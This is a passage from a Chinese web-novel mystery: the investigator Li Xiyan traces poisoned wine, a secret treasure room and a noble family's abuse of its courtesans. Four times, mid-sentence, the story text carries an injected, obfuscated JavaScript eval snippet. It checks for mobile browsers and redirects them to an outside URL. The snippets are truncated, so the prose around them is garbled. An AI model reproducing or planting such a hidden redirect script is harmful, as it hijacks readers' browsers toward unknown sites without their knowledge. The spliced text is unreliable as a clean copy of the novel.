容朗看了一眼李希言,脸色微红。 “咳咳。”李希言不自在地清了清嗓子,扯回话题,“这样看,杜司马就很有嫌疑了。” “杜司马有嫌疑?” 刚刚还在八卦别人婚事的邓松云一时转换不过来思维。 “他没死啊?” 这话问的! “杜司马昨晚和许夫人吵了一架就走了。” 邓松云有些不赞同。 “他应该没有嫌疑。杜司马虽然和许夫人感情平平,但是对侯府一直很殷切。” 杜朝觉只是杜家旁支,在官场上还多要倚仗许家的势力。 他不可能自断前程。 “苗青。”李希言唤来苗青吩咐道,“许清燕房内可有发现一个小酒坛?” 苗青摇头:“没有。” “把许清燕的贴身侍女叫来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379301|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。” “昨晚,你家夫人和杜司马可是为了尹茹发生了争执?” 李希言说的这样直接,婢女也不敢再隐瞒。 “是……” “你家夫人可喝过一坛子酒?” 婢女讶异:“是……您怎么知道?” “何时喝的?” “就回房后……”婢女低着头,夫人回房后将酒坛打开喝酒,司马正巧回来,一见那酒坛就变了脸色,还问夫人那酒坛子是哪儿来的。夫人反问他这酒是不是他送给尹娘子的,司马解释是送给尹娘子的父亲的,让她不要喝了。夫人生气大骂,还把那酒坛子砸了。说什么……就算是破酒,她不要了,也轮不到别人。” “那酒坛的碎片呢?” “扔……扔了。” 虽然东西没有了,但是李希言直觉这和许清燕的死脱不开关系。 “去尹府一趟。” 如果凶手真的是杜朝觉,他也应该有足够的动机。 然而,还没等她迈出院门,一个来自尹府的消息就应和了她的想法。 尹茹中毒了! 尹府。 “李少使,请您一定要帮小女找出毒害她的凶手啊!”尹县令老泪纵横,“内子走得早,下官和她就这么一个女儿,从小如珠似玉的疼着……” 他哭得厉害,连带旁边尹家少夫人怀里的孩子也跟着嗷嗷哭了起来。 尹家大郎急忙让自己夫人抱着孩子先出去。 大夫提着药箱走了出来。 李希言走上前,问道:“尹娘子可安好?” 大夫擦了擦汗,面露庆幸:“幸好,尹娘子今日中毒前本就喝了些绿豆汤,减了少许毒性,如今已经安好,一会儿就能醒来。” 一旁的尹县令激动地握住大夫的手:“多谢您,多谢您……” 爱女得救,他几乎要说不出话,只死死握着大夫的手。 还是尹茹的兄长镇定些,走上前给大夫递了银子。 一股熟悉的味道……李希言鼻翼微动,深深看了尹家大郎一眼。 送走了大夫,尹县令的情绪也稳定了下来。 他直接对着李希言诉苦。 “李少使,下官自知只是个县令,这辈子顶了天也升不到哪儿去。可是下官为官这么多年,虽谈不上功勋卓著,但至少也是勤勤恳恳。下官不求高官厚禄,只求一双儿女能够平平安安,可是……您看看,下官的女儿却一而再地被人所害……” 李希言知道他想说什么,抬手打断了他的话。 “你是想说凶手是许清燕?” “不是下官诋毁他人!” 当了一辈子老实人的尹县令觉得自己也是被逼入了绝境,气得语无伦次。 “几年前就是许清燕指使婢女推小女落水的!不就是为了杜家的婚事!如今,除了她还会是谁会来针对小女一个闺阁女儿?” 等他发泄完一腔怨气,李希言才说道:“尹县令,恐怕事实并非如此。” 尹县令面色一变。 难道连绣衣使也站在侯府那边儿? “许清燕已经死了。” “什么?!” 带着三个带着惊讶的声音接连响起,其中有一个格外虚弱,也格外引人注意。 李希言转头看去。 尹茹整个人轻得像一张薄薄的纸,像是被风一吹就会飞走。 她虚虚靠在身侧的婢女身上,面色白得透明,嘴唇颤抖着,一脸恐惧。 “她死了?她真的死了!” 85. 旧事真容 “其实……杜朝觉没有您想象的那样无辜。” 尹茹坐在床上,抹着眼泪。 在她的要求下,屋内只有她和李希言两个人的存在。 “杜朝觉?” 尹茹点点头:“既然李少使来了我家,也应该已经知道了那些往事吧。” “略知一二。” “当年之事,错不全在许清燕,他才是那个源头……” 他?是指杜朝觉? 尹茹嘴角扯起,露出一个苦笑。 “他和许清燕的事情也并非完全只是许清燕一厢情愿,他自己也贪恋侯府权势才顺势而为。我不怪谁,可是……” 她脸上的苦笑被恐惧代替。 “是他杀了许清燕!” 李希言努力从中获取关键的信息。 “你是说杜朝觉杀了许清燕?为什么?有什么证据?” “为什么……“尹茹抬起眼皮看了李希言一眼,“李少使,许清燕是不是中毒死的?” 李希言心里一惊。 这个消息不应该这样快传出去的。 虽然今日尹县令是亲自去侯府找的她,但是他对此并不知情,更别提在此之前就已经命悬一线的尹茹。 她稳住表情:“尹娘子何故做此言?” 尹茹的表情很复杂,细眉微蹙,嘴角翘起,似哭似笑。 “因为她是代我受过。” 李希言眼皮颤了颤:“此话何意?杜朝觉要杀你?却误杀了许清燕?” “是。” “他为何要杀你?许清燕要杀你的可能性更大吧?” “那就要从杜朝觉的真面目讲起了。”尹茹嘲讽一笑,“其实,从我落水开始,许清燕就已经赢定了。” “为何?就因为你身体受到了影响?” 尹茹眼里是深深的恨意:“我无法生育了。” “就因为这个?你们感情是不错的,孩子的问题也可以想其他办法。” 京城里的高门大户生不出孩子过继的抱养的也不少,不算罕见的事情。 看她一脸淡定的表情,尹茹释然一笑。 “李少使是正常人,自然不觉得有什么。但是杜朝觉不一样,他很看重自己的妻子能否生下他的继承人。于是,在我落水后不久,他就主动地放弃了我们的感情。” “你看上去并没有多遗憾。” 尹茹秀气的脸上透出一股傲气来。 “不值得,他早点暴露真面目好处大于坏处。” “但你还是恨的。” “自然。许清燕时常为此欺辱我,我怎能不恨?” 李希言像是想起了什么:“我明白了。” “李少使明白了?”尹茹有些讶异。 “杜朝觉在外面置了外室,还有了孩子。这件事被你偶然知晓,他怕你告知给许清燕就在那坛子酒里面掺了毒药,没想到阴差阳错,那酒被许清燕抢走喝了,中毒身亡?” 尹茹嘴巴微微张大:“外室的事情……李少使早就查到了?” “推测而已。杜朝觉昨晚和许清燕大吵一架就去了外面。他解释说是去喝花酒了,但是我在他身上却闻到了一股味道。一股和令兄身上相似的气味——孩子的奶香味。” 尹茹坦然道:“确实如李少使所言。如果真是如此,那毒药应该就在昨晚杜朝觉送给我的酒里。” “他为何给你送酒?”李希言直直看着她的双眼,“依我看,你们当时颇为暧昧。” 尹茹眼神慌乱了一瞬。 “暧昧?李少使看见了?” 李希言一点也不为自己近乎偷窥的行为脸红。 “是,看得清清楚楚明明白白。” 尹茹摇着头笑:“那是我敲他竹杠。” “敲竹杠?” “我知道他的秘密后,没想着要告诉谁,但是总觉得气不过,能让他出出血也好,就装作余情未了的样子先稳住他。之后,我就经常借故找他要东西,上个月,我让他给我带了一坛西域来的美酒。”尹茹补充道,“很贵。只是没想到……他竟然会在酒里下毒……” 李希言觉得有些不对,追问道:“你今日为何中毒?” 尹茹略略思索后答道:“昨晚,他来找我,给了我一坛一样的酒当做是补偿。今日早上我起来用完早饭,看见桌上的酒坛,就顺手倒了一杯……”她攥着拳头,咬牙道,“如今一看,竟是他眼见着没害成我来补刀的!” “酒坛呢?” 尹茹指向桌面上的一小坛酒:“就是那一个。这酒是少有的西域美酒,是他托同门带回来的。” 李希言走到桌前,摸着酒坛子。 “杜朝觉平日里和侯府关系如何?” “互相利用罢了。”尹茹嘲讽完忽然一顿,凝眉道。,“不过……这段时间他倒是去侯府去得格外勤。” “格外勤?” “嗯。不仅如此,他还对我许诺,说过年的时候要送我一对羊脂玉手镯。” 羊脂玉? “阔绰。” 李希言有一对儿皇后赏赐的羊脂玉镯子,听卫川说价值千两。 “大概从去年起他就很大方了,光是给他外室那边就至少搭进去了一千两。”尹茹嘀咕,“也不知道哪儿来的钱,他家也不贪呢。” 侯府的陪嫁也不够这样花,更何况许清燕可不是个软弱的,杜朝觉可没有在她眼皮子底下拿走那么多钱的本事。 李希言拿起酒坛。 “尹娘子好好休息。” 尹茹坐直了身子,向前探身。 “等等!” 李希言正要推开门的手一顿。 尹茹深深吸了一口气,眼中似有泪。 “许清燕……真的死了?” 李希言推开门,迈出一步。 “是。” 一回到侯府,苗青就把许清燕婢女扔掉的酒坛碎片交给了李希言。 尹茹的酒坛和碎片都被放在了桌上。 “验毒。” 容朗一边拼着碎片一边问道:“尹茹怎么说的?” 李希言将尹茹的话重复了一遍。 “杜朝觉?”容朗打开酒坛,皱了皱鼻子,“他想杀尹茹却误杀了许清燕?” 李希言此时才说出心中的疑惑。 “既然目标是尹茹,他当时为何不阻止许清燕喝下毒药?” “要是许清燕知道了他有私生子的事情,他和侯府的关系也算是玩儿完了。” “钱……一千两……”李希言喃喃着。 容朗闻了一下酒液。 “杜朝觉和侯府一起贪污银两,为了维持和侯府的关系,他顺势杀了杜请燕,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389988|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后又为了清除线索,他又对尹茹下手。” “就不能是尹茹下的毒?”李希言眯了眯眼。 “这……”容朗有些不赞成,“你还记得那晚的事情吗?” “什么?”李希言脑子嗡得响了一声,声音也有些跑调。 提那件事做什么。 平时还算敏锐的容朗正忙着验毒,也没有发现对方的慌乱。 他一边摆弄着酒坛一边说道:“就是那晚我们偷看到他们三个人的纠葛啊?” 李希言的心一下定住了。 还好。 “所以?” “从头至尾,尹茹拿到这个酒坛后就没有打开过,她怎么下毒?除非她会变戏法。而且这酒坛子……” 容朗捻起酒坛封口用的淡黄色的桑皮纸。 “这桑皮纸是拿来封坛子的,如果尹茹下了毒,那这坛子上的桑皮纸必破。许清燕会去喝一坛已经被破开了封口的酒吗?” 李希言很少喝酒,倒是忘了这一点。 “你说得有理。” 容朗笑得很是满足,放下了手里的酒坛,也下了结论。 “都是雷公藤的毒。” 侯府的人,除了因为悲痛昏迷不醒的许清嘉也只剩下一个杜朝觉了…… “即使没有毒药,他也有问题。”容朗适时出声。 “确实如此。”李希言眼中闪过一丝精光,“先盯着他。” 是夜。 刚刚失去了主人的侯府还来不及撤掉前一晚的花灯。 喜庆的灯彩和寂静的侯府诡异的融合在一起。 特意撤去了一半的护卫。 整座侯府算得上是畅通无阻。 只是天太黑了。 白日里精致曲折的连廊变得黑洞洞的,像是凶兽饕餮体内纠缠的肠道,想要吞噬一切,尤其是欲望。 在客院,两双眼睛注视之处,一个白色的人影悄悄地走了出来,身影在游廊之间忽隐忽现。 他的步伐轻快而急切,直直地朝着书房的方向走去。 平南侯的书房…… 哪里有什么秘密? 李希言和容朗轻点脚尖,悄无声息跟上了他——杜朝觉。 书房的门近在咫尺。 杜朝觉伸出颤抖的双手碰了碰大门,又警惕地看了一眼四周。 很黑很安静。 应该是没有人的。 他这才松了一口气。 交州不冷,紧张也让他的额角渗出密密麻麻的汗珠。 他擦了擦汗才缓缓推开门走进去。 书房的布置一如其主人平南侯生前的模样,没有变化。 依照记忆,他径直走向书桌前站定。 书桌是厚实的黄花梨木材制成,看上去就很沉。 杜朝觉挽起袖子,双手用力一推,书桌才移动了几寸。 不过,被移开的桌腿下露出了一个小小的机关。 他的目的已经达到了。 心里的雀跃让人的心怦怦跳。 他忍住激动的心情,将机关按了下去。 书架处瞬间传来“咔嚓”的机关扭动声,庞大的书架瞬间一分为二。 呼吸声随着书架被打开而变得粗重。 宝藏!宝藏! 杜朝觉黑色的眼里燃起了红色的火。 86. 密室藏宝 “杜司马。” 清冽的女声在耳后炸开。 “您可真是好兴致啊。” 杜朝觉倏地转过头。 书房的门不知何时已经被打开,一身黑色绣衣的李希言倚靠在门上,抱着漆黑长刀,玩味地看着他。 夜风吹得她的衣摆猎猎,分外杀气十足。 而门口,含着笑的容朗正在“虎视眈眈”。 杜朝觉面上血色瞬间尽褪。 “你们……” 李希言一步一步走到他面前。 在他的背后,是打开的书架和一道已经暴露的暗门。 想到之前听说过关于眼前之人的传闻,杜朝觉咽了咽口水,脱力的手一下撑在了书桌上。 “我……” 李希言皱了皱眉,眉头的红痣跳了两下。 真是没用的废物。 她还没做什么,就怕成这样? 这样的人,竟然还是个朝廷命官? 容朗笑吟吟地开口:“杜司马,你岳丈一家刚刚惨死,你不在灵堂尽孝,却跑到自己岳丈的书房里偷偷摸摸?这是要做什么?本王真是不解,你可以好好解释一下吗?” 杜朝觉被突然出现的二人吓得脑子一片空白,张着嘴连声音都发不出来,哪里还有之前的翩翩风度。 书架背后的密室门就在眼前,李希言已经没了“钓鱼”的耐心,直接绕过他走上前,一把推开了密室的大门。 “别!”杜朝觉伸出手,无用的阻拦着。 容朗捉住他的手腕一扭,将他擒住,按在地上。 “别……”杜朝觉脑袋被压在地上,脑袋还是用力偏着。 李希言转过头瞟了他一眼,抬脚迈进去。 密室没有烛火照亮,她随手点燃一个火折子,借着光查看。 不大的密室,空荡荡的。 地上有厚厚的一层灰,密密麻麻布着脚印。 粗略一看,脚印大概来自四个人,都是男子,个头不高不矮。 抬起头,密室靠墙处摆放着两张椅子,中间还夹着一张略大方桌。 李希言走上前,伸出手指抹了一把椅子的坐板。 什么都没有。 很干净,前不久应该有人坐过。 方桌上也很干净。 “杜司马。”她转过头,盯着杜朝觉惶恐的脸,“你得给本官一个解释。” “解释,解释……”吓傻了的杜朝觉只知道重复着她的话。 李希言看他这副模样,心生厌烦,摆了摆手。 容朗立即一把抓住杜朝觉后脑勺的头发,使劲向后一拽。 杜朝觉大声呼痛,神智也恢复了少许。 “为何来此?”李希言突然怒喝一声。 “我……是来……”杜朝觉眼神只闪烁了一下,“取一份文书而已。” “密室里可没有文书。” 杜朝觉仰起头:“或许是被凶手窃取了。” “杜司马知道吗?”李希言嘴边挤出一个阴冷的笑,“今日尹县令的千金差点被毒死。” “茹儿?!”杜朝觉不由露出关切的神情,“她怎么了!” “许清燕尸骨未寒,你这反应也太令人齿冷了吧?”李希言讥讽。 杜朝觉也意识到了自己的失态,立即低头掩饰。 “我和尹娘子自幼一起长大,情同兄妹。” 容朗听得直恶心,都快要吐了,忍不住打断了他。 “差不多得了啊。直接交代,你是不是在昨晚送她的酒里下了毒?” “没有!”杜朝觉抬起头,语气十分激动,“我给她下毒做什么!我已经辜负了她,怎么还会再去害她?” “你就别抵赖了。昨晚许清燕喝的酒里也有同样的毒,那两坛子酒在开封前除了你没有别的人碰过,不是你还能是谁?” 杜朝觉心乱如麻,只苍白地辩解着:“我没有……我真的没有,我下毒害她们做什么?她们一个是我的妻子,一个是我的……妹妹。我……” “你昨晚去了哪里?” 面对李希言的问题,杜朝觉还是回避。 “我心情烦闷……” 李希言直接打断了他的话:“花楼里面怎么会有孩子的奶香味?” 杜朝觉的表情一下僵住了,半阖的双眼泄露出一丝凶光,连声音都变得细柔尖利了起来。 “是尹茹告诉你们的?” 看到他原形毕露,李希言更觉得反感。 “现在是本官在问你的话。” 杜朝觉视线在她的脸上掠过,才缓缓说道:“许清燕和我成婚有好几年了,她没有生育,也不允许我纳妾,我只能出此下策。总不可能真让我杜家绝后吧?” 想到了之前的传言,李希言忽然问道:“杜清燕一直没有怀孕?” “她身体有问题。”杜朝觉装出一副大度的模样,“虽然如此,但是我并不介意,我说过,有了庶子一样抱给她抚养,是她不愿意,还和我厮闹,我只能出此下策。” “你不必强调这些事情。”李希言提醒,“你现在嫌疑很大。” 因为子嗣之事和许清燕有了矛盾,还晚上跑到书房来打开密室,再加上尹茹那边像是被灭口的中毒…… 现在怎么看……凶手都更像是自己! 杜朝觉面上装出来的从容瞬间消失,就连双眼都有些发红。 “不是我。我没有下毒,那些酒都是我朋友从西域带来的,我也没有动过手脚。” “带酒的朋友是谁?” “礼部主客司的郎中吴子显。”杜朝觉说完否定地摇摇头,“子显和侯府没有任何关系,这次的酒也只是他托人带来的,说不定自己连碰都没有碰过……” 他越说声音越小。 李希言说道:“和死者有关的人中只有你碰过两个酒坛。” 杜朝觉攥紧拳头,抬起眼:“尹茹也碰过。” “那晚你在后花园把酒给尹茹后没多久许清燕就来了,尹茹根本没有打开酒坛的机会和时间。” 杜朝觉最后一条路被堵死了,但是他还是不断重复着。 “没有,我真的没有……我冤枉啊!冤枉……冤枉……” 李希言倒是更在乎另外一件事。 “冤枉与否不太重要。倒是有一点……”她直起身,直视着杜朝觉,“你来此的目的究竟是什么?” 还不等杜朝觉继续撒谎,她就抢先道:“再拿话糊弄本官,你现在就可以死在这里。” 对方的表情不像是在开玩笑,已经背上了杀人嫌疑的杜朝觉脑子一热,脱口而出:“是为了宝藏。” 宝藏?! 李希言忍住惊讶,装作镇定的模样悠悠说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403517|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“平南侯府有宝藏?” 杜朝觉此时才惊觉自己已经说出口。 他抱着破罐子破摔的心态。 “有,我是上个月听说的,平南侯说宝藏已经到手,寿宴前就能抵达。” 李希言觉得这话有些不对,都是却想不通哪里不对。 “是平南侯的原话吗?” “是,我亲耳听见他对许大和许三说的,还让许大许三最近行事低调一点,别招来麻烦。” “先把人带下去。” 外面应声进来两个绣衣使,架起还摊在地上没缓过神的杜朝觉就走了出去。 书房的密室门房大开,却只剩下二人在。 看上去空荡荡的。 容朗明白她的心思,可是还是有些不解。 “你觉得凶手不是杜朝觉?” “不是。”周遭的黑暗让李希言不由闭上眼。 沉浸在黑暗中的思绪变得十分清晰。 “若是杜朝觉为了宝藏做下灭门的案子,那偷宝藏的最好时机应该是昨晚,而不是今晚。而且,在自己送出的酒里面下毒……太蠢。” 证据如今都指向杜朝觉,可李希言偏偏觉得不是他。 “我们先回去吧。”容朗环顾四周,“这儿什么都没有。” 李希言走出密室,回头望了一眼。 “是什么都没有,还是被人捷足先登?” 京城。 还是那座山谷,隐秘而寂静。 冬夜的雪飘满了整座山,看的人牙齿直打颤。 男子穿着一身黑色的裘衣,直直站在树旁,不知道在等什么。 簌簌—— 地上的积雪被踩动。 “主子,我们抓到了李希言的弱点。”来者的声音中难掩兴奋,颤抖得不行。 裘衣男子微微转过头,眼神微动。 “她的弱点?” “您之前让我们找的那个人找到了。果然没有死,人一直由国师府照应着。” “当年缺少了一具尸体,很正常。” “那我们……” 裘衣男子摆摆手:“烧死。” “烧……死?”男子有些迟疑,“不用来威胁她吗?” “对这种人,威胁只会起反作用。” “是,属下明白。” “交州……等消息传过去的时候刚好能够顺利接手宝藏。” “主子神机妙算。” “我神机妙算?”裘衣男子冷冷一笑,“我若是真神机妙算,据点为什么被端掉了那么多?” 男子张了张嘴,一脸颓丧。 “李希言太精了,现在绣衣司的人死死咬着不放,我们就是想撤也来不及。” “无能,次次失败还露出破绽。” 裘衣男子语气淡然却让人吓得直接跪了下去。 “是属下无能。” “办完这件事就把网先收起来,断尾求生……”裘衣男子缓步往外走去,“暂避锋芒。” “那凉州那边?” 裘衣男子顿住脚步,眼神一沉:“先让周固那个老东西动弹不了,任凭周彻再厉害也独木难支。 “是,属下这就去信给钉子。” 话音落下。 京郊的一座民宅燃起熊熊大火。 火烧了半日,雪停了。 87. 各有其因 刺史邓松云听说了杜朝觉被捕的消息一大早就跑了过来。 彼时,李希言还正在和容朗准备验尸的事情。 他们还有一句特殊的尸体没有检验。 邓松云走过来行了一礼:“见过王爷。” “免礼。” 他品级高于李希言,但是二人有交情也就点了点头算作是见过。 “李少使,听说杜司马……” “不是他。”李希言正巧要找他,借机问道,“邓刺史可了解平南侯府的事情?” 邓松云何等机敏。 “李少使问的是仇怨?” “自然。” “太多。”邓松云叹出一口气,“其他的下官没有实证,可是您瞧瞧平南侯府的家妓有多少就能明白。” “这事情,普通的家妓做不出来。” “李少使说的是。只是这人,一旦好色过了头就不免会做出其他事情。说句难听的,家妓不够刺激。” “平南侯府因为好色闹出过人命?” “不少。”邓松云面露惭愧之色,“光是下官听说的就不少,前至十几年前都有。我也曾想要为被害之人翻案,可是……那些被害的女子基本都是不受家中重视的,他们的家人拿了平南侯府的钱就……” 他说完还是偷偷窥了容朗一眼。 平南侯府的老夫人可是皇帝与这位长乐王的姑外祖母。 她的哥哥宋国公也还活着。 幸好,容朗并没有说一句回护的话,反而颇为气愤。 邓松云这才接着说道:“下官递上去的证据都被截住了……” “大胆!”容朗怒气上头,一掌拍在石桌上。 “这事不急。”李希言的声音带着安抚,“我有其他的办法。都是还是要劳烦邓刺史。” 邓松云应了一声:“李少使请讲。” “麻烦您把这些年来和平南侯府结仇的人的名单整理出来。” “这个简单。”邓松云一口应下。 容朗已经冷静了下来。 “许宇的尸体有些特殊,我亲自去验。” 李希言点头:“我去找那些家妓问话。” 许宇是唯一一个外伤致死的死者。 面色苍白,口唇发绀,是外伤导致的失血过多。 而伤口分布也分外明显,脖颈处有一道锐器伤,伤口浅且边缘不整齐,左深右浅。 容朗觉得有些不对劲,继续向下查看。 另外几道伤口都在死者胸口和腹部,刀痕杂乱,伤口较深,左深右浅。 其余的部位都没有伤口。 “这也不像是自杀呀……” 凶器就在一旁,是许宇自己的剑,上面的血迹已经凝结成了黑色。 和伤口是吻合的。 没有想到线索并不多,容朗只能转头去查验其他的尸体。 老夫人的死相相较而言是最难看的,双眼突出,瞳孔散大,嘴唇紫红。 倒是像心疾发作? 可是他记得老夫人身体是很好的。 有可能是毒药导致的? 接下来,他又验了其余几人的尸体。 许尚安和许佑的尸体。 二人死状十分一致,与其他人的区别在于脸色蜡黄,其余的倒像是普通的中毒。 不过……每个人都有流鼻血…… 什么毒会让人只流鼻血? 停尸房旁边的房间,李希言坐在正位上。 她的坐姿较平常更随意些,连平日里挺直的脊背都微微弓着。 这样的她比平日里少了几分咄咄逼人的威势。 站在她面前的家妓数量极多,大概有二十多个,这些还都只是平日里和侯府主人最亲密的那一部分人。 “你们都是哪一房的人?” 领头的一个女子怯怯抬头看了她一眼对着其他人说道:“三房的人分开站。” 她说话显然极有分量,众人呼啦啦地分成了三队。 大房的人最少,二房最多,三房其次。 倒是很符合李希言的推测。 许宇的好色之名最甚。 “我今日问你们的话,你们都好好回答,等案子了结,我会让人给你安排好去处,不再受制于人。” 或许是同为女子的亲近,这些最不信人的家妓都不由有些相信她。 “是。” “大房的人先来说,许尚安平时为人如何?” 李希言的问题刚刚抛出来,大房的人就齐齐抖了一下。 这不对劲。 李希言似有所觉。 “怎么了?他有什么问题?” 忽然,队列中一个个子小巧的姑娘一下站出来跪了下去。 “李少使请救救我们!” 看上去十几岁的小姑娘,声音却嘶哑得如同七八十岁的老人。 李希言起身走过去蹲在她面前,扶起她的胳膊。 “直说无妨。” 小姑娘哑着嗓子说道:“许尚安衣冠禽兽!他看着正派,实际最狠,每每喜欢把我们折腾得哭泣嘶吼……” 她挽起自己的袖子,露出一截布满了伤痕的胳膊。 伤痕极多,深深浅浅,看着就很可怖。 李希言不忍再看,帮她放下袖子。 “以后,会好的。” 她只能为她们做这些。 小姑娘干涸的双眼一下涌出了泪,瞬间泣不成声。 有她一个先例在,其他的人也纷纷附和。 令人意外的是,许尚安极其好色,还嗜好独特,喜欢在床笫之间折磨人,而他这边家妓最少也是因为很多人已经被他折磨死了。 这样的惨状,李希言胸口都被气得一起一伏。 她努力维持住还算温和的神态,扶起小姑娘,又朝着其他人问道:“二房呢?” 二房的家妓对视一眼,神色复杂。 李希言以为她们是羞于启齿,劝道:“这里只有我在,不会传出。” “不是。二郎他……”为首的女子站出来说道,“二郎其实并不好色。” 李希言很是意外。 “哦?” “真的!我们原本都是大房三房的人,之前被许尚安和许佑折磨得快死的时候被二郎救回的,二郎让人给我治伤,还给我们饭吃,从来不折辱我们……” “那许宇的名声?” “是侯爷偏心!”女子一脸不平,“许尚安是长子,侯爷最疼爱他,许宇是幼子,有母亲和祖母疼爱,只有二郎在中间最不受人疼爱。每次许尚安和许佑做出什么恶事,侯爷就会让二郎背锅,还美其名曰不能影响许尚安这个继承人的名声!” 家里的排行中间的孩子基本都是被忽略的,这也不奇怪。 只是……连这样的事情都让许宇背,也确实太少见了些。 而剩下的三房也不用多问,许宇的情况和许尚安差不多,只是他没有那么特殊的癖好。 “你们应该很清楚许尚安和许佑这些年来做过的恶事吧?可有什么伤过人命的事情?” 众人表情都凝滞了。 为首的女子解释道:“太多了……我们也不敢保证完全记得住。” “先写下来,知道多少写多少。” 笃笃—— 门被敲了两下。 容朗的声音传来:“我这边验好了。” 这些事情了解得也差不多了,李希言走向门口,走了出去。 容朗看着她,目不斜视:“我想了又想,许宇应该是自杀的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411747|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “自杀?” 容朗说出自己的推测:“他的致命伤在脖颈处,只有一道,还很浅,也没有抵抗伤。只是……” “只是什么?” “许宇不是左撇子吧?” “不是。” “可是他脖颈处的伤左深右浅,如果是右撇子自杀,伤口应该是左浅右深。除非许宇是故意用左手持剑自刎。” “他身上可有其他伤痕?” ”有,胸腹部还有几道,也是左深右浅。” “你为何确定许宇脖颈处的伤痕是他自己所为?” “自刎的伤口一般只有一处,且伤口较浅。”容朗很是不确定,“难道……他身上的伤口都是他自己干的?” 这句话一下点醒了李希言。 “不,不是!” “那是?” “我刚刚从那些女子口中得知,许宇人品正直,从不好色,残害女子的一直都是许尚安和许佑,许宇反而一直在保护她们。” 容朗很是意外:“怎么会?” “所以,按照许宇的人品,他应该是为了掩护凶手在他身上留下的痕迹,故意用左手自刎,混淆视听。” “他帮凶手?” “他帮凶手是因为愧疚。” “我明白了。”容朗闻弦歌而知雅意,“也就是说凶手确实是为复仇而来,而且这其中的仇怨如何,连许宇都知道得清清楚楚。” “没错。既然许宇都了解一二,许清嘉或许也清楚。” 苗青幽幽地飘出来:“还没醒呢。” 一夜之间,家人全部丧命,确实让人难以接受。 李希言吩咐道:“先让人好好照应着。” “是。只是少使,属下还有一事要禀告。” “什么事?” 苗青面色不太好看:“今早,有人袭击小郎君。” 瑞王! 容朗急切扯住苗青的袖子:“刺客呢!” “还是那一批人。自杀后尸体迅速腐烂。” “之前端掉的据点……” 苗青无奈摇头:“够狠,没有一个活口,全部都一把火烧了。” 李希言关心道:“小郎君可安好?” “张公公和关校尉保护着,没有大碍。” “让方淳那边可以收网了。” “是。” 苗青离开,见她表情紧绷,容朗提议道:“先出去转转吧?别把弦绷得太紧。” 接连的失利,让李希言满心都是被幕后之人操控玩弄于手中的憋闷。 她点点头。 二人漫无目的地在侯府中走着。 因为命案的缘故,住在侯府中的所有人都被关在各自的院子里,路上很是安静,只有几个卫兵在沿途看守。 开得热烈的紫藤花孤独地趴在墙上,望着二人。 前几日,这里面还很热闹,可是今日却安静得可怕。 满墙的紫藤花若纷纷的蝴蝶,散发的甜香让李希言觉得有些腻。 “许宇身上留下的线索太少了,要破此案还是要从那些人所中的毒下手。” 容朗说到今日的收获:“这几人中的毒确实奇怪,按理说,很多毒药要么是致人七窍流血要么是口鼻流血,可是他们只有鼻子流血。而且几人中毒的症状有细微的差别。若要进一步得到结果,还需要剖尸。” 李希言没有丝毫的犹豫。 “那就剖。” “许清嘉还在,按规矩若要剖尸,还是要她同意。”容朗声音低了些,“我外祖父性格极其古怪护短,若是许清嘉到时候去告刁状……” 李希言知道宋国公的性格,容朗说的不是假话更不是恐吓。 “不管许清嘉醒没醒,明早就验。” 88. 火海 幸运的是,傍晚时分,许清嘉就醒来了。 李希言一得到消息就去了她的房里。 初见时还明艳俏丽的少女此时已经失了三分颜色,像是一朵即将枯萎的花。 她那双无神的眼停留在李希言的脸上,干燥起皮的唇瓣动了动。 “你有事情?” 旁边的婢女自动让开路。 李希言坐到床边,放缓了语气。 “事情,你已然知晓,我就不再多言。今日来有件事情需要你的同意。” “我的……同意?” “是。除去你二哥,其他人都是中毒而死,但是具体的死因很难确定,我们需要剖验。” “你要剖开我爹的尸体!”许清嘉一时情急,急得直咳嗽,“咳咳……” 等她冷静下来,李希言才说道:“许娘子。想要抓出凶手,不剖验不行。” 她的语气很是肯定。 许清嘉抚着胸口,喘着气,微垂的眼眸掩盖住纷乱的思绪。 沉默持续了许久。 